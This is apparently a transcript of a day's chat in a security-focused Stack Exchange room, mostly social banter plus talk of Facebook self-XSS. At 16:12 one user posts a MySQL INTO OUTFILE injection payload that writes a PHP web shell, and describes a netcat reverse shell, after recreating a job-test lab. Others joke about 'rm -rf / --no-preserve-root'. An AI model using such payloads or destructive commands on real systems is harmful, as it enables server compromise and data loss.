The DMZ

TildalWave

00:44

@RoryAlsop so it tastes like bacon?

was just tweeted by George Takei :)

ManishEarth

01:40

@AviD IE has devtools?

I haven't yet seen one of those attacks targeting IE

strugee

@ManishEarth IIRC they're shit

ManishEarth

@strugee technically the issue is with having a console -- any browser with a console can be used as a vehicle for user exploitation by this method

strugee

02:42

@ManishEarth are we talking about the thing where Facebook would get XSS'd through the console?

ManishEarth

@strugee yep

self-XSS, they call it

strugee

847

Q: How does Facebook disable the browser's integrated Developer Tools?

So apparently because of the recent scams, the developer tools is exploited by people to post spam and even used to "hack" accounts. Facebook has blocked the developer tools, and I can't even use the console. How did they do that?? One Stack Overflow post claimed that it is not possible, but F...

@ManishEarth gotcha

ManishEarth

@strugee yeah, that was FB's trial "solution" to that

well, not a solution, they were just checking effectiveness

strugee

trial?

ManishEarth

> We're testing this for some users to see if it can slow down some attacks where users are tricked into pasting (malicious) JavaScript code into the browser console.

"testing"

strugee

02:46

ah

ManishEarth

@strugee I'll be writing a blog post on this saga later, I'll ping you with it

strugee

I thought you meant they have since come out with a New And Improved™ version

@ManishEarth lovely

ManishEarth

@strugee "they"?

you mean the browsers?

oh, Facebook

strugee

yeah

ManishEarth

Nah. I got Chromium to fix the bug that let Facebook hijack the console, really

Facebook was doing it well, they gave the user an option to turn it off

One other site (I think Netflix), copied the trick and didn't give this option

Too easy for website operators to tack on for the "security" it gives

Also, giving the website access to chrome-level APIs is not a good idea.

strugee

03:02

@ManishEarth nice

Xander

03:58

I think we should redefine the term "self-xss" to "actively demonstrating that you're a moron."

6

Terry Chia

@Xander I think that came up when we discussed it a few months ago.

Well, not exactly in those words but the idea was there.

Mar 8 at 9:48, by Terry Chia

@ManishEarth Annoying solution to a non-existent problem.

Xander

Seriously, this is not a new thing. Back in the early IRC days, there were people who could be convinced that they could hack their mortal enemies by typing "format c:" into the command prompt. If you're going to be a moron, it's because you're a moron. Not because the browser doesn't protect you enough.

Stack Exchange

06:12

'TMI' he whispered, gazing into the sea.

AviD

11:25

@ManishEarth umm... don't know if you're clueless or trolling...

@strugee you do realize that chrome's original devtools was basically a cheap copy of IE's devtools, right? And they've since gotten much better.

Or maybe, welcome to 8 years ago.

@ManishEarth this might be true though.

Hey @Manish, are No-Pee trucks really a thing in India?

from vodio.com/video/…

Adnan

12:26

Finally!!

Rory Alsop

@Adnan not back up for me yet

DNS caching probably

Stephane

Chat is back! Chat is back!... Oh...

Nick

Aaaaand its back

Stephane

Yup!

God job, ITs. Hope you didn't lose too much sleep with this one

Adnan

12:45

@RoryAlsop How about now?

David Freitag

@RoryAlsop Well, see, a toolbox is filled with tools and is thus a much larger tool. Then there's the toolshed, and even further, the rarely seen wacky wild inflatable flailing tool emporium.

Rory Alsop

Nope - I can access the chats, but all sites are still in read only for me

Adnan

Yaaay! Restaurant Day is tomorrow!

Rory Alsop

@Adnan ...surely every day :-)

@DavidFreitag I understand

David Freitag

Good news everyone! I may be acquiring a convertible '69 mustang.

Rory Alsop

12:52

And 50 refreshes later - it's baaaaack

Stephane

@RoryAlsop Weird... It came back online at 14:40 for me (CET)

Rory Alsop

with almost no flags :-)

Stephane

Aha!

Rory Alsop

@DavidFreitag ooooooooooooooooooooooooooooooh - now I'm jealous

that was back when Mustangs were awesome

Adnan

@RoryAlsop But but but... home restaurants :(

Rоry McCune

12:54

@RoryAlsop we've been in Glasgow last couple of days, so every lunch time has been restaurant day definitely

David Freitag

@RoryAlsop Although i should say topless instead of convertible. The roof is basically a tattered piece of cloth and the roof mechanism is pretty much knackered. Replacing it won't be cheap either.

Rоry McCune

today was Mexican

Rory Alsop

food=good

need I say more

Adnan

I don't know about you guys, but I love restaurant day.

Nick

I have no idea what were talking about :P

Adnan

12:55

The idea of going into someone's house who opened it for one day as a restaurant and tasting homemade food is so nice

David Freitag

But the whole purchase basically hinges around my ability, or rather inability, to drive a manual. It's a proper old car with a proper manual gearbox and I'm so excited about the prospect.

AviD

@RoryAlsop that must have been all the infrastructure work. Nuking the flags.

@RoryAlsop were mustangs ever not awesome??

Rory Alsop

@AviD from mid nineties onwards

@Adnan is that what it is...

AviD

@RoryAlsop huh. I guess my image of Mustangs is still mostly 80's style, or the classics.

Adnan

@RoryAlsop Basically, yes.

David Freitag

12:58

@AviD All you see for modern mustangs here is women driving a powder blue convertible. Extremely occasionally you will see a boss 500 roll by and blow your doors off.

Rory Alsop

@DavidFreitag it will not take you long to learn. It's always weird when thinking about the fact that in the US autos far outnumber manuals, whereas here there it is totally the opposite

Adnan

In the participating countries, you can have your own restaurant for one day, no paperwork.

AviD

@RoryAlsop that used to be the case here too, I think since the mid-90's there has been a big change.

Rory Alsop

@DavidFreitag I took one of the newish ones for a track day in '05 or '06 and it was terrible. At one point the guy running it said, "I don't think this will work for you - you obviously drive rally cars" - :-)

David Freitag

@RoryAlsop No that makes perfect sense. Americans are fat and lazy so they prefer not having to do anything but push one pedal and turn a big round thing.

AviD

12:59

Manual is still not as rare here as it is in US though - most (but not all) driving students still learn on manual.

Rory Alsop

@DavidFreitag lol at stereotyping

David Freitag

@RoryAlsop Have you seen the videos for the 2015 mustang on jalopnik?

AviD

As opposed to southern Spain, where they all learn on Manuel.

David Freitag

@RoryAlsop I can speak from firsthand experience that that one isn't a stereotype :]

Rory Alsop

Occasionally I have a manual as a rental on holiday, or whn mine is in the shop - I am astonished that people don't crash them more often. I always end up thinking I could fall asleep as there is nothing to do :-)

@DavidFreitag ...2015??? Blimming time travel has spread from Deloreans now, eh? :-)

David Freitag

13:01

@RoryAlsop DUDE. They sound AMAZING

Rory Alsop

@DavidFreitag Big american engines sound awesome - I'd have to totally agree with you there

I wish the Tesla sounded nicer

David Freitag

►

Rory Alsop

I do want one

David Freitag

@RoryAlsop It's "disguised" so nobody knows it's a 2015 car.

AviD

@RoryAlsop isnt that the point? They don't sound at all.

David Freitag

13:02

Be warned you might need a change of trousers when you're done with that video.

AviD

my 8 year old is learning to cross streets himself. We were discussing today about how he also listens for cars - he was shocked that some dont make a lot of noise.

Welcome to the future, son.

:-)

@DavidFreitag Love that throaty growl, like a hot Scottish redhead whispering sweet nothings in your ear.

Rory Alsop

@AviD pffffft

AviD

"I want you to ride me. I want you to take me on the open road and really open me up. You should see what I can do."

I swear, I'm really not a gearhead, but I do love the sound of American muscle.

Rory Alsop

hmmm - you guys need to get out more.

Like on the open road

AviD

LOL

David Freitag

13:07

@RoryAlsop There is no open road here. It's all clogged by boobs who drive at half the speed of stink.

Rory Alsop

I definitely prefer that sound to say a Ferrari, which just annoys me, but my preference by far is the big boxer 4 cylinder 2.5 litre in my car, and the quite lovely turbo

AviD

@DavidFreitag dammit man, now you've gone and summoned @LucasKauffman!

David Freitag

@AviD Well not literal boobies. I imagine that might cause quite a few crashes.

Jesus, absolutely nobody has stock of the microcontroller i used for that PXE project. They did last week, what the hell happened...

AviD

you blabbed about it on the DMZ. Now everybody wants one.

David Freitag

Yeah I'm sure that must be it.

Nick

13:13

@DavidFreitag time to order then.

David Freitag

@Nick Factory lead time is just under a month. I think I might end up ordering them from china.

Nick

@DavidFreitag from china? Wow you are desperate...

David Freitag

@Nick Yes well literally every distributor i have checked including sparkfun has nothing but a big goose egg for me.

AviD

Right, right. We should order the main part from Singapore, via a dummy corporation. Then quite separately we place an order to a Chinese company for these. Then put it together ourselves. It would need to be a large order, though, to avoid raising suspicion. Say, 10,000?

David Freitag

See i was thinking a bit more modest order of three parts.

AviD

13:24

Well, at least we'll have spares.

No? really?

David Freitag

And live in a cardboard box under an overpass somewhere..

AviD

►

So, the little bird says there are a whole raft of new shows and movies coming up the stream. A Flash show, spinoff from Arrow, Gotham - a Batman prequel - Gordon's origin....

David Freitag

Most of it looks like crap, so business as usual.

AviD

sure, but good crap.

David Freitag

Well i suppose it is possible to polish a poop.

AviD

13:39

Nah, I have hopes.

Of the non-poop variety.

Hey, they finally managed to put out a Superman movie that did not totally suck, so anything's possible.

Maybe the Red Sox could even win.

David Freitag

The media over here is criticising the new godzilla movie because godzilla looks "fat".

AviD

hehe

Japan says so.

David Freitag

When i heard the television spout that nonsense last night i nearly ragequit right off a bridge.

AviD

cracked.com/quick-fixes/… #5

David Freitag

So did you guys hear about "CSI: CYBER" yet?

AviD

13:45

oh gawd no.

David Freitag

Oh god yes.

AviD

but isnt that just CSI?

►

David Freitag

imdb.com/title/tt3560060

Since the CBS website seems... broken.

AviD

> CyberPsychologist

????

David Freitag

I think it should be the best new TV comedy.

AviD

13:47

heh

David Freitag

Well they turned down HIMYD so they need something funny after HIMYM.

@Adnan Why on earth would you want a job at McAfail?

AviD

Same reason. Humor.

Xander

14:12

@Adnan Nope.

Adnan

14:26

@DavidFreitag Because that particular branch of theirs is doing very interesting things.

@Xander Yeah, I thought so. I think my only option was to somehow get SELECT INTO OUTFILE to work.

David Freitag

14:53

In other news i finally got around to buying the Dune audiobook box set. It's freaking fantastic. Also the hitchhikers guide to the galaxy is on its way.

Stephane

@DavidFreitag Don't confuse the two when playing them in your car

David Freitag

@Stephane Nah it's music only in the car. I listen to books while working.

Nick

@DavidFreitag How can you work and pay attention to audiobooks at the same time xD

David Freitag

@Nick It's really not that difficult...

Nick

@DavidFreitag I cant do it without getting distracted

David Freitag

15:04

@Nick That's what they make the pause and rewind buttons for ;]

Terry Chia

@Nick I write code while watching youtube, semi-watching a movie and listening to music. It's really not that difficult. :P

Yes, at the same time.

David Freitag

@TerryChia Although it has to be said that Dune is a particularly verbose book.

Nick

@TerryChia I write code while listening to music and semi watching youtube videos too but not really paying attention... only if the guy starts screaming or something itll make me rewind to see what happened

Terry Chia

@DavidFreitag Hehe. Although I have to say that my coding involves writing small bits of code and waiting for people to review after I push it so it's not really comparable to working fulltime in an office.

David Freitag

@TerryChia Yeah I am the only person who works on my projects. Every now and then there is a flurry of emails about a particular bug or feature that needs to be added/removed/poked with a stick.

Nick

15:11

@DavidFreitag Hmm how do you poke a feature with a stick? haha

David Freitag

@Nick Step 1: Bash face into keyboard

Nick

@DavidFreitag Step 2: Open terminal
Step 3: "rm -rf / --NO_PRESERVE_ROOT"

Did I get it right?

Terry Chia

@Nick No. You should alias regularly used commands so you don't have to type it out.

David Freitag

@Nick Well... No. That might get complaints from windows.

Nick

@TerryChia Ofc I do a rm -rf / everyday, love watching the system crash

Terry Chia

15:14

I actually do not understand the point of the no preserve root flag.

Is there ever a legitimate use case for deleting your root partition while your system is running?

Nick

@TerryChia to prevent derpy people derping

@TerryChia Uhhh possibly if you want to destroy someones system

Terry Chia

@Nick How is that a legitimate use case? :P

Nick

@TerryChia Well... you never know...

Interesting... apparently ubuntu makes the mouse apear if its on the screensaver and a chrome page refresh happens

Xander

@Adnan Huh, interesting. That's a fun little problem.

Thomas Pornin

15:58

@TerryChia I guess that some people consider any safety feature such as refusing to recursively delete the whole system as an intolerable infringement on their freedom. Hence the flag.

Adnan

16:12

@Xander I've actually just replicated their environment on my Windows box and injected the following

%20"<?php%20system($_GET[%27cmd%27]);%20?>"%20INTO%20OUTFILE%20"..\\..\\htdocs\\te‌st\\shell.php"%23

The file was there, and I got a basic shell.

With nc, I connected back to an nc instance I had running on another box, got a better shell.

Some Python magic, got interactive shell.

I feel so stupid now for not thinking about this when they were testing us.

Terry Chia

@Adnan Eh, it's a pretty complicated bit of exploit to come up with on the spot.

Especially since INTO OUTFILE is MySQL specific I think?

Adnan

@TerryChia If I had to rate it, I'd say it was of low-medium complexity. The only problem would probably have been figuring out the directories since there were no meaningful errors.

@TerryChia Yes, you're correct. It's a MySQL thing.

Terry Chia

@Adnan Was the job entry level?

I'd guess that you need a fair bit of experience with SQL injections to come up with that. I definitely cannot without plenty of Googling.

Adnan

@TerryChia It wasn't entry-level.

and, to be honest, I agree with you. It took me about 20-30 minutes of Googling and trials to get that one.

Keep in mind that the machine in their lab didn't have Internet connection.

Terry Chia

Wait, did they tell you that there was a shell.php file at that particular directory?

Adnan

16:22

@TerryChia No, that query creates the file there.

Terry Chia

@Adnan Oh right. D'oh.

What was I thinking?

Adnan

@TerryChia Probably in a similar state of mind as I was then.

Terry Chia

@Adnan Well, I actually looked up INTO OUTFILE so... :P

Xander

@Adnan Nice!

Adnan

Here it is, on the same machine (windows)

Iszi

16:42

File this under "Most Unexpected Uses of a Server Room": blogs.computerworld.com/management/23900/…

Nick

17:09

ohai @RoryAlsop

Scott Pack

17:27

Wait. I think someone said something about boobies.

3

Simon

@ScottPack Life isn't just about boobies. JUST KIDDIN'.

Scott Pack

Silly boy.

Nick

Simon

I like how pressing right-clicking on his trackpad is supposed to do something

Nick

@Simon Enter would be more appropriate.

Simon

17:35

Exactly.

You know what else would be more appropriate? My D.

Rоry McCune

18:11

Evenin' All

Nick

@RоryMcCune evenin'

Kisunminttu

@RоryMcCune Good evening

Rоry McCune

Well I'm at the back end of a loooong week and have a leffe blonde in hand and a curry home to have later so all looking up :)

Nick

o.O what in the... I just found system logs from 2014-04-17 while I nuked my computer at 11 this month

Rory Alsop

19:13

@Nick hai

@RоryMcCune evenin' squire

David Freitag

19:36

I feel like my brains were taken out, put into a blender, and then put back into my head with a funnel.

Nick

@DavidFreitag wat

David Freitag

@Nick Sleep deprivation combined with bashing my face into Windows XP mode for windows 7 64bit for some legacy software on a core 2 duo with 4 gigs of ram.

Rоry McCune

@RoryAlsop been experiencing the delights of a daily commute to Glasgow this week, I'd forgotten what a long day not working from home is!

Nick

@DavidFreitag Feel the same way but for another reason... found some wierd logs and not sure if its an OS fail or someone is trying to hide something from me

David Freitag

@Nick I'm going to go with option 3: You are cleverly trying to hide something from yourself.

Nick

19:41

@DavidFreitag Hmmm I can not remember typing the root password to edit these log files...

David Freitag

@Nick Proper memory is merely a figment of your imagination.

Nick

Hmm try to figure it out or simply nuke it... hard choice xD

David Freitag

@Nick When in doubt. Cheeseburger.

Nick

@DavidFreitag Hmm or it may simply be hungry .... ill order it a cheeseburger xD

David Freitag

I think that 5 hour energy i had three hours ago wore off about ten minutes ago.

Simon

19:48

Everything seems to take more energy on this rainy Friday.

David Freitag

I'm going to assume it's because i weigh 50% more than the average person.

Nick

"Thunderbird is already running, but is not responding. To open a new window, you must first close the existing Thunderbird process, or restart your system."
grumble grumble grumble

David Freitag

@Nick Error ID10T

Nick

@DavidFreitag wut? haha

David Freitag

@Nick Problem exists between chair and keyboard?

Nick

19:56

Im debating wether to do a kill -9 or just leave it till next reboot

David Freitag

just use htop to kill it

Simon

No, use wget.

wget, killing dem process since 1950.

David Freitag

@Simon Your mother was a hampster and your father smelt of elderberries, now leave me alone or I shall taunt you a second timeh.

Simon

ma poor mother

David Freitag

@Simon No. The correct response was, "Help! Help! I'm being repressed!"

Simon

20:00

Sounds like an exhaustive answer to figure out.

David Freitag

@Simon Good god man, have you not seen Monty Python's The Holy Grail?

What have you been doing with your life that you haven't seen Monty Python's The Holy Grail.

Simon

@DavidFreitag I rarely watch English-speaking comedians.

David Freitag

@Simon Yes, but this one is actually freaking hysterical.

►

^ Watch it.

Simon

YT seems to be down for me ô_ô

David Freitag

Also, pay attention to the text that appears before the movie. It is also dripping with hysterical.

Simon

20:06

I'll watch it tonight if I get free time.

David Freitag

Be warned though it is from 1975 so the editing is a bit... old. If you can get past that it's funny as shit

Rory Alsop

20:17

@Simon - no Monty Python? You need to be... Edumacated!

David Freitag

That awkward moment when you realize you have 127 chrome tabs open

Rоry McCune

@RoryAlsop your saying that we should quote from the book of Python whenever @simon appears right?

David Freitag

Sadly enough I just don't find any of Monty Python's stuff funny other than The Holy Grail.

Rоry McCune

@DavidFreitag not even the dead parrot sketch

or the lumberjack

or the ministry of silly walks

David Freitag

@RоryMcCune Not sure I've seen that one.

Rоry McCune

20:27

or SPAM

David Freitag

@RоryMcCune Couldn't get into it

Rоry McCune

►

David Freitag

God damn it i swear AT&T is blocking all torrent traffic. I can't even download lubuntu at more than 15KB/s

and speed test is giving me 11.7Mb/s

Rory Alsop

Cheese shop

The Spanish Inquisition

The Hungarian Phrasebook

David Freitag

There must be a monty python sketch playlist on youtube

Rory Alsop

20:30

Simon, Simon, Simon...

David Freitag

I'll have to hit it with a hammer once I'm done with Top Gear.

I'll already be in the mood for british accents and whatnot.

Rory Alsop

@David - there must be, but I am comfy with my gin in front of the TV and not able to browse as wife is using the tablets

David Freitag

@RoryAlsop Smart TV man I'm telling you.

Although i must say the TV has locked up more than once.

Rоry McCune

@DavidFreitag TV... I don't even have one of those in the house :)

have loads of laptops/tablets etc mind

David Freitag

@RоryMcCune My computer alone has three 32" televisions. Then i have a fourth for netflix

Rory Alsop

20:54

In going to avoid smart TV as long as I can. They have no functionality I want, but others want them this bringing down the price of basic TV's

We only have the one TV in the house. 8 monitors though

Thomas Pornin

21:37

Whuuuut ? Ye cannot review more than 20 suggested edits within two hours ?

TildalWave

heh I also hit that wall just now, someone is enthusiastically editing posts for grammar and spelling

didn't know of it either before

Thomas Pornin

The guy seems a bit obsessed by the use of "xxx" as a placeholder for "some site name".

But enthusiasm should be nurtured so I approve.

TildalWave

Yeah, but now that there's no more "maximum 10 edits to auto-CW" I say that's fine. I'd reject them before as too minor tho

OK, maybe not, that guy is quite thorough

Xander

21:55

I wonder if he intends to earn his entire first 2,000 rep points via grammatical edits?

His bio says that his passion is web application security, but I suspect that his real passion is spelling.

TildalWave

22:13

IIRC 1000 is maximum anyone can earn from suggested edits, tho that's still a lot of them with +2 rep at the time, I wonder if he hit some max edits per day wall now too

TildalWave

23:49

if anyone wants to follow the Delta IV launch online, here's the live stream from Cape: ulalaunch.com/webcast.aspx

launch window opens in about 13 min.

Transcript for